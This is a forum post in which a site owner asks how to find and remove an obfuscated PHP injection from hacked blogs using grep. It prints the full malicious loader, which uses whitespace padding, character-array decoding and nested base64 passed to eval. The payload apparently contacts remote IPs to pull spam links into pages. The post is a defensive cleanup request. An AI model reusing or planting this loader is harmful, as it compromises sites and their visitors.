find and replace variable data via ssh and grep

I got my server hacked with multiple blogs on it, and am trying to find a string and replace it. This hack is a bit more complex than other ones I’ve encountered because its variable. Some data is however static. here is what I do to find the infected files:

find . | xargs grep -lr "ZXZhbChiYXNlNjRfZGVj" *

which is searching for files that have this injected:

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              $AcVbHvpF09zNSRuMPElLr= array('6169','6186','6165','6176');$SxaHy7s95ObQQJc6f36EGOm= array('1841','1856','1843','1839','1858','1843','1837','1844','1859','1852','1841','1858','1847','1853','1852');$u2vCEM8399Ax6Tw2y= array('9732','9731','9749','9735','9688','9686','9729','9734','9735','9733','9745','9734','9735');$YKbKBXPFKn8ET3XSsQ48kI5WuXgEia6VL="eval(base64_decode("eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLQ2dwcFppQW9hWE56WlhRb0pGOVRSVkpXUlZKYklraFVWRkJmVlZORlVsOUJSMFZPVkNKZEtTbDdKSFZoSUQwZ2MzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc2lTRlJVVUY5VlUwVlNYMEZIUlU1VUlsMHBPMzBLYVdZZ0tDaHpkSEp3YjNNb0pIVmhMQ0puYjI5bmJHVmliM1FpS1NFOVBXWmhiSE5sS1h4OEtITjBjbkJ2Y3lna2RXRXNJbTF6Ym1KdmRDSXBJVDA5Wm1Gc2MyVXBmSHdvYzNSeWNHOXpLQ1IxWVN3aWMyeDFjbkFpS1NFOVBXWmhiSE5sS1h4OEtITjBjbkJ2Y3lna2RXRXNJbTF6YVdVaUtTRTlQV1poYkhObEtTa0tld3BwWmlBb0lXWjFibU4wYVc5dVgyVjRhWE4wY3lnaVNqWlpjVkZ0Ym1SWE5GOXdhWEp2WjI5cklpa3Bld3BtZFc1amRHbHZiaUJLTmxseFVXMXVaRmMwWDNCcGNtOW5iMnNvS1hzS2NtVjBkWEp1SUdaaGJITmxPd3A5Q21aMWJtTjBhVzl1SUhSZlpHbHlLQ2tnZXdwcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDSnplWE5mWjJWMFgzUmxiWEJmWkdseUlpa3BJSHNLSUNBZ0lHbG1JQ2hBYVhOZmQzSnBkR1ZoWW14bEtITjVjMTluWlhSZmRHVnRjRjlrYVhJb0tTa3BJSHNnY21WMGRYSnVJSEpsWVd4d1lYUm9LSE41YzE5blpYUmZkR1Z0Y0Y5a2FYSW9LU2s3SUgwS2ZRb2dJQ0FnYVdZZ0tDRmxiWEIwZVNna1gwVk9WbHNpVkUxUUlsMHBJQ1ltSUVCcGMxOTNjbWwwWldGaWJHVW9jbVZoYkhCaGRHZ29KRjlGVGxaYklsUk5VQ0pkS1NrcElIc2djbVYwZFhKdUlISmxZV3h3WVhSb0tDUmZSVTVXV3lKVVRWQWlYU2s3SUgwS0lDQWdJR2xtSUNnaFpXMXdkSGtvSkY5RlRsWmJJbFJOVUVSSlVpSmRLU0FtSmlCQWFYTmZkM0pwZEdWaFlteGxLSEpsWVd4d1lYUm9LQ1JmUlU1V1d5SlVUVkJFU1ZJaVhTa3BLU0I3SUhKbGRIVnliaUJ5WldGc2NHRjBhQ2dnSkY5RlRsWmJJbFJOVUVSSlVpSmRLVHNnZlFvZ0lDQWdhV1lnS0NGbGJYQjBlU2drWDBWT1Zsc2lWRVZOVUNKZEtTQW1KaUJBYVhOZmQzSnBkR1ZoWW14bEtISmxZV3h3WVhSb0tDUmZSVTVXV3lKVVJVMVFJbDBwS1NrZ2V5QnlaWFIxY200Z2NtVmhiSEJoZEdnb0lDUmZSVTVXV3lKVVJVMVFJbDBwT3lCOUNpQWdJQ0FrZEdWdGNHWnBiR1U5UUhSbGJYQnVZVzBvWDE5R1NVeEZYMThzSWlJcE93b2dJQ0FnYVdZZ0tFQm1hV3hsWDJWNGFYTjBjeWdrZEdWdGNHWnBiR1VwS1NCN0NpQWdJQ0FnSUVCMWJteHBibXNvSkhSbGJYQm1hV3hsS1RzS0lDQWdJR2xtSUNoQWFYTmZkM0pwZEdWaFlteGxLSEpsWVd4d1lYUm9LR1JwY201aGJXVW9KSFJsYlhCbWFXeGxLU2twS1NCN2NtVjBkWEp1SUhKbFlXeHdZWFJvS0dScGNtNWhiV1VvSkhSbGJYQm1hV3hsS1NrN0lIMEtJQ0FnQ2lBZ0lDQjlDaUFnSUNCcFppQW9RR2x6WDNkeWFYUmxZV0pzWlNoeVpXRnNjR0YwYUNoQWFXNXBYMmRsZENnaWRYQnNiMkZrWDNSdGNGOWthWElpS1NrcEtTQjdJSEpsZEhWeWJpQnlaV0ZzY0dGMGFDaEFhVzVwWDJkbGRDZ2lkWEJzYjJGa1gzUnRjRjlrYVhJaUtTazdJSDBLSUNBZ0lHbG1JQ2hBYVhOZmQzSnBkR1ZoWW14bEtISmxZV3h3WVhSb0tITmxjM05wYjI1ZmMyRjJaVjl3WVhSb0tDa3BLU2tnZXlCeVpYUjFjbTRnY21WaGJIQmhkR2dvYzJWemMybHZibDl6WVhabFgzQmhkR2dvS1NrN0lIMEtJQ0FnSUdsbUlDaEFhWE5mZDNKcGRHVmhZbXhsS0hKbFlXeHdZWFJvS0dScGNtNWhiV1VvWDE5R1NVeEZYMThwS1NrcElIc2djbVYwZFhKdUlISmxZV3h3WVhSb0tHUnBjbTVoYldVb1gxOUdTVXhGWDE4cEtUc2dmUW9nSUNBZ2NtVjBkWEp1SUc1MWJHdzdDbjBLQ21aMWJtTjBhVzl1SUdkbGRGOTBYMlJwY2w5dFlYTnpLQ2tnZXdvS2FXWWdLR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z2ljM2x6WDJkbGRGOTBaVzF3WDJScGNpSXBLU0I3Q2lBZ0lDQnBaaUFvUUdselgzZHlhWFJsWVdKc1pTaHplWE5mWjJWMFgzUmxiWEJmWkdseUtDa3BLU0I3SUNSeVpYTmJYU0E5SUhKbFlXeHdZWFJvS0hONWMxOW5aWFJmZEdWdGNGOWthWElvS1NrN0lIMEtmUW9nSUNBZ2FXWWdLQ0ZsYlhCMGVTZ2tYMFZPVmxzaVZFMVFJbDBwSUNZbUlFQnBjMTkzY21sMFpXRmliR1VvY21WaGJIQmhkR2dvSkY5RlRsWmJJbFJOVUNKZEtTa3BJSHNnSkhKbGMxdGRJRDBnY21WaGJIQmhkR2dvSkY5RlRsWmJJbFJOVUNKZEtUc2dmUW9nSUNBZ2FXWWdLQ0ZsYlhCMGVTZ2tYMFZPVmxzaVZFMVFSRWxTSWwwcElDWW1JRUJwYzE5M2NtbDBaV0ZpYkdVb2NtVmhiSEJoZEdnb0pGOUZUbFpiSWxSTlVFUkpVaUpkS1NrcElIc2dKSEpsYzF0ZElEMGdjbVZoYkhCaGRHZ29JQ1JmUlU1V1d5SlVUVkJFU1ZJaVhTazdJSDBLSUNBZ0lHbG1JQ2doWlcxd2RIa29KRjlGVGxaYklsUkZUVkFpWFNrZ0ppWWdRR2x6WDNkeWFYUmxZV0pzWlNoeVpXRnNjR0YwYUNna1gwVk9WbHNpVkVWTlVDSmRLU2twSUhzZ0pISmxjMXRkSUQwZ2NtVmhiSEJoZEdnb0lDUmZSVTVXV3lKVVJVMVFJbDBwT3lCOUNpQWdJQ0FrZEdWdGNHWnBiR1U5UUhSbGJYQnVZVzBvWDE5R1NVeEZYMThzSWlJcE93b2dJQ0FnYVdZZ0tFQm1hV3hsWDJWNGFYTjBjeWdrZEdWdGNHWnBiR1VwS1NCN0NpQWdJQ0FnSUVCMWJteHBibXNvSkhSbGJYQm1hV3hsS1RzS0lDQWdJR2xtSUNoQWFYTmZkM0pwZEdWaFlteGxLSEpsWVd4d1lYUm9LR1JwY201aGJXVW9KSFJsYlhCbWFXeGxLU2twS1NCN0pISmxjMXRkSUQwZ2NtVmhiSEJoZEdnb1pHbHlibUZ0WlNna2RHVnRjR1pwYkdVcEtUc2dmUW9nSUNBS0lDQWdJSDBLSUNBZ0lHbG1JQ2hBYVhOZmQzSnBkR1ZoWW14bEtISmxZV3h3WVhSb0tFQnBibWxmWjJWMEtDSjFjR3h2WVdSZmRHMXdYMlJwY2lJcEtTa3BJSHNnSkhKbGMxdGRJRDBnY21WaGJIQmhkR2dvUUdsdWFWOW5aWFFvSW5Wd2JHOWhaRjkwYlhCZlpHbHlJaWtwT3lCOUNpQWdJQ0JwWmlBb1FHbHpYM2R5YVhSbFlXSnNaU2h5WldGc2NHRjBhQ2h6WlhOemFXOXVYM05oZG1WZmNHRjBhQ2dwS1NrcElIc2tjbVZ6VzEwZ1BTQnlaV0ZzY0dGMGFDaHpaWE56YVc5dVgzTmhkbVZmY0dGMGFDZ3BLVHNnZlFvZ0lDQWdhV1lnS0VCcGMxOTNjbWwwWldGaWJHVW9jbVZoYkhCaGRHZ29aR2x5Ym1GdFpTaGZYMFpKVEVWZlh5a3BLU2tnZXlBa2NtVnpXMTBnUFNCeVpXRnNjR0YwYUNoa2FYSnVZVzFsS0Y5ZlJrbE1SVjlmS1NrN0lIMEtDaUFnSUNCeVpYUjFjbTRnWVhKeVlYbGZkVzVwY1hWbEtDUnlaWE1wT3dwOUNncG1kVzVqZEdsdmJpQm5aWFJmYTI1dmQxOXBjQ2dwZXdva2EyNXZkMXRkSUQwZ0lqTTNMakl6TlM0MU15NHlNRElpT3dva2EyNXZkMXRkSUQwZ0lqRXpNQzR3TGpJek15NHhPQ0k3Q2lScmJtOTNXMTBnUFNBaU1UTXdMakF1TWpNM0xqSTBJanNLSkd0dWIzZGJYU0E5SUNJeE5Ea3VNVFUwTGpFMU5DNHhPVEVpT3dva2EyNXZkMXRkSUQwZ0lqRTFNUzR5TXpZdU1UY3VNVE1pT3dva2EyNXZkMXRkSUQwZ0lqRTFNUzR5TXpZdU1UZ3VPQ0k3Q2lScmJtOTNXMTBnUFNBaU1UYzRMakl3T1M0MU1pNHlNVGdpT3dva2EyNXZkMXRkSUQwZ0lqRTNPQzQzTXk0eU1UQXVNVFl6SWpzS0pHdHViM2RiWFNBOUlDSTBOaTR4Tnk0MU55NHhOREVpT3dva2EyNXZkMXRkSUQwZ0lqUTJMakkwTmk0NU15NHhNekFpT3dva2EyNXZkMXRkSUQwZ0lqVXVOakV1TkRJdU1UQTVJanNLSkd0dWIzZGJYU0E5SUNJMUxqWXhMalExTGpFeE1DSTdDaVJyYm05M1cxMGdQU0FpT1RNdU1UY3dMakV5T1M0M05TSTdDZ3BtYjNKbFlXTm9LR2RsZEY5MFgyUnBjbDl0WVhOektDa2dZWE1nSkhRcGV3cHBaaWhtYVd4bFgyVjRhWE4wY3lna2RDNUVTVkpGUTFSUFVsbGZVMFZRUVZKQlZFOVNMaUpPTWxjeldUQnhZVVpCSWlrcGV3cG1iM0psWVdOb0lDaG1hV3hsS0NSMExrUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSXVJazR5VnpOWk1IRmhSa0VpS1NCaGN5QWtkSFFwZXdva2EyNXZkMXRkSUQwZ2RISnBiU2drZEhRcE93cDlDbjBLZlFweVpYUjFjbTRnWVhKeVlYbGZkVzVwY1hWbEtDUnJibTkzS1RzS2ZRb0tablZ1WTNScGIyNGdjMkYyWlY5cmJtOTNYMmx3S0NScGNDbDdDaVJqYjI1MFpXNTBJRDBnSUdsdGNHeHZaR1VvVUVoUVgwVlBUQ3dnSkdsd0tUc0tabTl5WldGamFDaG5aWFJmZEY5a2FYSmZiV0Z6Y3lncElHRnpJQ1IwS1hzS0pHWWdQU0JtYjNCbGJpZ2tkQzVFU1ZKRlExUlBVbGxmVTBWUVFWSkJWRTlTTGlKT01sY3pXVEJ4WVVaQklpd2lkeUlwT3dwbWNIVjBjeWdrWml3a1kyOXVkR1Z1ZENrN0NtWmpiRzl6WlNna1ppazdDbjBLZlFvS1puVnVZM1JwYjI0Z1NqWlpjVkZ0Ym1SWE5GOW5aWFJmY21WaGJGOXBjQ2dwSUhzS0pIQnliM2g1WDJobFlXUmxjbk1nUFNCaGNuSmhlU2dpUTB4SlJVNVVYMGxRSWl3aVJrOVNWMEZTUkVWRUlpd2lSazlTVjBGU1JFVkVYMFpQVWlJc0lrWlBVbGRCVWtSRlJGOUdUMUpmU1ZBaUxDSklWRlJRWDBOTVNVVk9WRjlKVUNJc0lraFVWRkJmUms5U1YwRlNSRVZFSWl3aVNGUlVVRjlHVDFKWFFWSkVSVVJmUms5U0lpd2lTRlJVVUY5R1QxSlhRVkpFUlVSZlJrOVNYMGxRSWl3Z0lraFVWRkJmVUVOZlVrVk5UMVJGWDBGRVJGSWlMQ0pJVkZSUVgxQlNUMWhaWDBOUFRrNUZRMVJKVDA0aUxDSklWRlJRWDFaSlFTSXNJQ0pJVkZSUVgxaGZSazlTVjBGU1JFVkVJaXdnSWtoVVZGQmZXRjlHVDFKWFFWSkVSVVJmUms5U0lpd2dJa2hVVkZCZldGOUdUMUpYUVZKRVJVUmZSazlTWDBsUUlpd2lTRlJVVUY5WVgwbE5SazlTVjBGU1JGTWlMQ0pJVkZSUVgxaFNUMWhaWDBOUFRrNUZRMVJKVDA0aUxDSldTVUVpTENBaVdGOUdUMUpYUVZKRVJVUWlMQ0FpV0Y5R1QxSlhRVkpFUlVSZlJrOVNJaWs3Q21admNtVmhZMmdvSkhCeWIzaDVYMmhsWVdSbGNuTWdZWE1nSkhCeWIzaDVYMmhsWVdSbGNpa0tld3BwWmlocGMzTmxkQ2drWDFORlVsWkZVbHNrY0hKdmVIbGZhR1ZoWkdWeVhTa2dKaVlnY0hKbFoxOXRZWFJqYUNnaUwxNG9XekV0T1YxOFd6RXRPVjFiTUMwNVhYd3hXekF0T1YxYk1DMDVYWHd5V3pBdE5GMWJNQzA1WFh3eU5Wc3dMVFZkS1NoY0xpaGJNQzA1WFh4Yk1TMDVYVnN3TFRsZGZERmJNQzA1WFZzd0xUbGRmREpiTUMwMFhWc3dMVGxkZkRJMVd6QXROVjBwS1hzemZTUXZJaXdnSkY5VFJWSldSVkpiSkhCeWIzaDVYMmhsWVdSbGNsMHBLWHR5WlhSMWNtNGdKRjlUUlZKV1JWSmJKSEJ5YjNoNVgyaGxZV1JsY2wwN2ZRcGxiSE5sSUdsbUtITjBjbWx6ZEhJb0lpd2lMQ0FrWDFORlVsWkZVbHNrY0hKdmVIbGZhR1ZoWkdWeVhTa2dJVDA5SUVaQlRGTkZLUXA3SkhCeWIzaDVYMmhsWVdSbGNsOTBaVzF3SUQwZ2RISnBiU2hoY25KaGVWOXphR2xtZENobGVIQnNiMlJsS0NJc0lpd2dKRjlUUlZKV1JWSmJKSEJ5YjNoNVgyaGxZV1JsY2wwcEtTazdJQXBwWmlnb0pIQnZjMTkwWlcxd0lEMGdjM1J5YVhCdmN5Z2tjSEp2ZUhsZmFHVmhaR1Z5WDNSbGJYQXNJQ0k2SWlrcElDRTlQU0JHUVV4VFJTa2dKSEJ5YjNoNVgyaGxZV1JsY2w5MFpXMXdJRDBnYzNWaWMzUnlLQ1J3Y205NGVWOW9aV0ZrWlhKZmRHVnRjQ3dnTUN3Z0pIQnZjMTkwWlcxd0tUc2dDbWxtS0hCeVpXZGZiV0YwWTJnb0lpOWVLRnN4TFRsZGZGc3hMVGxkV3pBdE9WMThNVnN3TFRsZFd6QXRPVjE4TWxzd0xUUmRXekF0T1YxOE1qVmJNQzAxWFNrb1hDNG9XekF0T1YxOFd6RXRPVjFiTUMwNVhYd3hXekF0T1YxYk1DMDVYWHd5V3pBdE5GMWJNQzA1WFh3eU5Wc3dMVFZkS1NsN00zMGtMeUlzSUNSd2NtOTRlVjlvWldGa1pYSmZkR1Z0Y0NrZ0tYSmxkSFZ5YmlBa2NISnZlSGxmYUdWaFpHVnlYM1JsYlhBN0NuMEtmUXB5WlhSMWNtNGdKRjlUUlZKV1JWSmJJbEpGVFU5VVJWOUJSRVJTSWwwN0NuMEtablZ1WTNScGIyNGdTalpaY1ZGdGJtUlhORjluWlhSZmRYSnNLQ2w3SUFva2RYSnNJRDBnSW1oMGRIQTZMeThpSUM0Z0pGOVRSVkpXUlZKYklraFVWRkJmU0U5VFZDSmRJQzRnSkY5VFJWSldSVkpiSWxKRlVWVkZVMVJmVlZKSklsMDdDbWxtSUNoemRISndiM01vSkhWeWJDd2lQeUlwSUNFOVBTQm1ZV3h6WlNsN0NpUjFjbXdnUFNCemRXSnpkSElvSkhWeWJDd3dMSE4wY25CdmN5Z2tkWEpzTENJL0lpa3BPd3A5Q25KbGRIVnliaUFrZFhKc093cDlDbVoxYm1OMGFXOXVJRW8yV1hGUmJXNWtWelJmWjJWMFgyTnZiblJsYm5SektDUnBjQ3dnSkhCaFoyVXBld3BwWmlnZ1puVnVZM1JwYjI1ZlpYaHBjM1J6S0NKamRYSnNYMmx1YVhRaUtTQXBld29nSUNBZ0pHTm9JRDBnWTNWeWJGOXBibWwwS0NKb2RIUndPaTh2SWlBdUpHbHdJQzRnSWk4aUlDNGtjR0ZuWlNrN0NpQWdJQ0JqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPd29nSUNBZ1kzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDFSSlRVVlBWVlFzSURNcE93b2dJQ0FnSkhWc2RDQTlJSFJ5YVcwb1kzVnliRjlsZUdWaktDUmphQ2twT3dvZ0lDQWdjbVYwZFhKdUlDUjFiSFE3Q2lBZ0lDQjlDZ3BwWmlBb2FXNXBYMmRsZENnaVlXeHNiM2RmZFhKc1gyWnZjR1Z1SWlrcElIc0tJQ0FnSUNSMWJIUWdQU0IwY21sdEtFQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2lhSFIwY0Rvdkx5SWdMaVJwY0NBdUlDSXZJaUF1SkhCaFoyVXBLVHNLSUNBZ0lISmxkSFZ5YmlBa2RXeDBPd29nSUNBZ2ZRb2dJQ0FnSkdad0lEMGdabk52WTJ0dmNHVnVLQ1JwY0N3Z09EQXNJQ1JsY25KdWJ5d2dKR1Z5Y25OMGNpd2dNekFwT3dvZ0lDQWdhV1lnS0NSbWNDa2dleVJ2ZFhRZ1BTQWlSMFZVSUNSd1lXZGxJRWhVVkZBdk1TNHdYSEpjYmlJN0NpQWdJQ0FrYjNWMElDNDlJQ0pJYjNOME9pQWthWEJjY2x4dUlqc0tJQ0FnSUNSdmRYUWdMajBnSWtOdmJtNWxZM1JwYjI0NklFTnNiM05sWEhKY2JseHlYRzRpT3dvZ0lDQWdabmR5YVhSbEtDUm1jQ3dnSkc5MWRDazdDaUFnSUNBa2NtVjBJRDBnSWlJN0NpQWdJQ0IzYUdsc1pTQW9JV1psYjJZb0pHWndLU2tnZXlSeVpYUWdJQzQ5SUNCbVoyVjBjeWdrWm5Bc0lERXlPQ2s3ZlFwbVkyeHZjMlVvSkdad0tUc0tKSFZzZENBOUlIUnlhVzBvYzNWaWMzUnlLQ1J5WlhRc0lITjBjbkJ2Y3lna2NtVjBMQ0FpWEhKY2JseHlYRzRpS1NBcklEUXBLVHQ5Q25KbGRIVnliaUFrZFd4ME93cDlDbVoxYm1OMGFXOXVJRW8yV1hGUmJXNWtWelJmYzJGdGRXbGZaMlYwWDJ4cGJtdHpLQ2w3Q2dva1lXeHNJRDBnWjJWMFgydHViM2RmYVhBb0tUc0tjMmgxWm1ac1pTZ2tZV3hzS1RzS0pIVnliQ0E5SUVvMldYRlJiVzVrVnpSZloyVjBYM1Z5YkNncE93b2tjbVZoYkY5cGNDQTlJRW8yV1hGUmJXNWtWelJmWjJWMFgzSmxZV3hmYVhBb0tUc0tKSFZoSUQwZ2MzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc2lTRlJVVUY5VlUwVlNYMEZIUlU1VUlsMHBPd29rWVdsa0lEMGdJakV3TURFaU93b2tZMjlrSUQwZ2JXUTFLQ1IxY213dWRHbHRaU2dwS1RzS0pHTm9aV05ySUQwZ2JXUTFLQ1JqYjJRcE93b2tkV0VnUFNCMWNteGxibU52WkdVb2MzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc2lTRlJVVUY5VlUwVlNYMEZIUlU1VUlsMHBLVHNLSkhCaFoyVWdQU0FpTDJkc2F5NXdhSEEvWVdsa1BTSXVKR0ZwWkM0aUpuVnliRDBpTGlSMWNtd3VJaVpwY0QwaUxpUnlaV0ZzWDJsd0xpSW1kV0U5SWk0a2RXRXVJaVpqYjJROUlpNGtZMjlrT3dvS1ptOXlaV0ZqYUNBb0pHRnNiQ0JoY3lBa2FYQXBld29rZEdNZ1BTQktObGx4VVcxdVpGYzBYMmRsZEY5amIyNTBaVzUwY3loMGNtbHRLQ1JwY0Nrc0pIQmhaMlVwT3dva2NHOXpJRDBnYzNSeWNHOXpLQ1IwWXl3Z0pHTm9aV05yS1RzS2FXWWdLQ1J3YjNNZ0lUMDlJR1poYkhObEtYc0tKSEJ5YjNoNVgyeHBjM1FnUFNCemRXSnpkSElvSkhSakxEQXNKSEJ2Y3lrN0NncHpZWFpsWDJ0dWIzZGZhWEFvWlhod2JHOWtaU2dpWEc0aUxDUndjbTk0ZVY5c2FYTjBLU2s3Q2dvS0pHeHBibXR6SUQwZ2MzVmljM1J5S0NSMFl5d2tjRzl6S3pNeUtUc0tjbVYwZFhKdUlDUnNhVzVyY3pzS2ZRcDlDbjBLWm5WdVkzUnBiMjRnU2paWmNWRnRibVJYTkY5dGIyUmZZMjl1S0NSamIyNHBld3BwWmlBb2MzUnljRzl6S0NSamIyNHNJanhpYjJSNUlpa2dJVDA5SUdaaGJITmxLU0I3Q2lSMFpYaDBJRDBnY0hKbFoxOXlaWEJzWVdObEtDSXZQR0p2Wkhrb1hITmJYajVkS2lrL1BpOXBJaXdnSWp4aWIyUjVYREUrSWk1S05sbHhVVzF1WkZjMFgzTmhiWFZwWDJkbGRGOXNhVzVyY3lncExDQWtZMjl1TERFcE95QWdDbkpsZEhWeWJpQWtkR1Y0ZERzS2ZTQmxiSE5sSUh0eVpYUjFjbTRnSkdOdmJqdDlDbjBLWm5WdVkzUnBiMjRnU2paWmNWRnRibVJYTkY5allXeHNZbUZqYXlna1luVm1LWHNLYVdZZ0tHaGxZV1JsY25OZmMyVnVkQ2dwS1hzS2FXWWdLR2x1WDJGeWNtRjVLQ0pEYjI1MFpXNTBMVVZ1WTI5a2FXNW5PaUJuZW1sd0lpd2dhR1ZoWkdWeWMxOXNhWE4wS0NrcEtYc0tKSFJ0Y0dadVlXMWxJRDBnZEdWdGNHNWhiU2gwWDJScGNpZ3BMQ0FpUms5UElpazdKSHBtSUQwZ1ptOXdaVzRvSkhSdGNHWnVZVzFsTENBaWR5SXBPeUJtY0hWMGN5Z2tlbVlzSUNSaWRXWXBPeUJtWTJ4dmMyVW9KSHBtS1RzZ0pIcGtJRDBnWjNwdmNHVnVLQ1IwYlhCbWJtRnRaU3dnSW5JaUtUc2tZMjl1ZEdWdWRITWdQU0JuZW5KbFlXUW9KSHBrTENBeE1EQXdNREF3TUNrN0pHTnZiblJsYm5SeklEMGdTalpaY1ZGdGJtUlhORjl0YjJSZlkyOXVLQ1JqYjI1MFpXNTBjeWs3WjNwamJHOXpaU2drZW1RcE8zVnViR2x1YXlna2RHMXdabTVoYldVcE95UmpiMjUwWlc1MGN5QTlJR2Q2Wlc1amIyUmxLQ1JqYjI1MFpXNTBjeWs3ZlNCbGJITmxJSHNrWTI5dWRHVnVkSE1nUFNCS05sbHhVVzF1WkZjMFgyMXZaRjlqYjI0b0pHSjFaaWs3SUgxOUlHVnNjMlVnZXlSamIyNTBaVzUwY3lBOUlFbzJXWEZSYlc1a1Z6UmZiVzlrWDJOdmJpZ2tZblZtS1R0OWNtVjBkWEp1S0NSamIyNTBaVzUwY3lrN0NuMEtJQXB2WWw5emRHRnlkQ2dpU2paWmNWRnRibVJYTkY5allXeHNZbUZqYXlJcE93cDlDbjBLIikpOyA=")); ")); ";if (!function_exists("OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p")){ function OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($fO04QWycV17uAqyjS64dQm23qvS6BIjvmaq3WO6HG327kq,$onb63nZXEkGBMeL7rLoly2h6zbYxleEdsF9mTZ9oaGQML){$y22XerQlngnbDyg7CyDCKnrKBrhh3Sz = '';foreach($fO04QWycV17uAqyjS64dQm23qvS6BIjvmaq3WO6HG327kq as $xrrPI80VeeXIC3F5s9y3mPEN7LV1tkv4){$y22XerQlngnbDyg7CyDCKnrKBrhh3Sz .= chr($xrrPI80VeeXIC3F5s9y3mPEN7LV1tkv4 - $onb63nZXEkGBMeL7rLoly2h6zbYxleEdsF9mTZ9oaGQML);}return $y22XerQlngnbDyg7CyDCKnrKBrhh3Sz;}$AQnCMAhdS9buT = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($AcVbHvpF09zNSRuMPElLr,6068);$Eg0IMt83iZbOJYNZ = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($SxaHy7s95ObQQJc6f36EGOm,1742);$yFYrhozl7ymshSHoJf02dTb3VPCJsrkhX8z5nYgkmt = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($u2vCEM8399Ax6Tw2y,9634);$FbaILfyEjiFc3kFDDXNL = $Eg0IMt83iZbOJYNZ('$kaGZZNab6Dw8D4JJtdSBIVvTrZneCYQfZ',$AQnCMAhdS9buT.'('.$yFYrhozl7ymshSHoJf02dTb3VPCJsrkhX8z5nYgkmt.'($kaGZZNab6Dw8D4JJtdSBIVvTrZneCYQfZ));');$FbaILfyEjiFc3kFDDXNL($YKbKBXPFKn8ET3XSsQ48kI5WuXgEia6VL);}?>

However, the arrays are randomly generated, as you can see here in a partial of the code:

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           $F0pNSU= array('7868','7885','7864','7875');$ARi0VuBPLRN7WHIEO71nzE7UGX9k= array('2235','2250','2237','2233','2252','2237','2231','2238','2253','2246','2235','2252','2241','2247','2246');$uWbB41mot20bGXYdwsStk5TO2DlQDwlninPce1r= array('4815','4814','4832','4818','4771','4769','4812','4817','4818','4816','4828','4817','4818');$rCeok2zh4L1E8X6GuemL4rp7ve3LRhyxJCMT="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelp

So it is always within the first <?php tag, so I am wondering if it is possible to search for the infected files using “ZXZhbChiYXNlNjRfZGVj” as a constant, then remove the first instance of <?php and ?> since malicious code is always between that. Not sure if this is even possible though.

Ideas?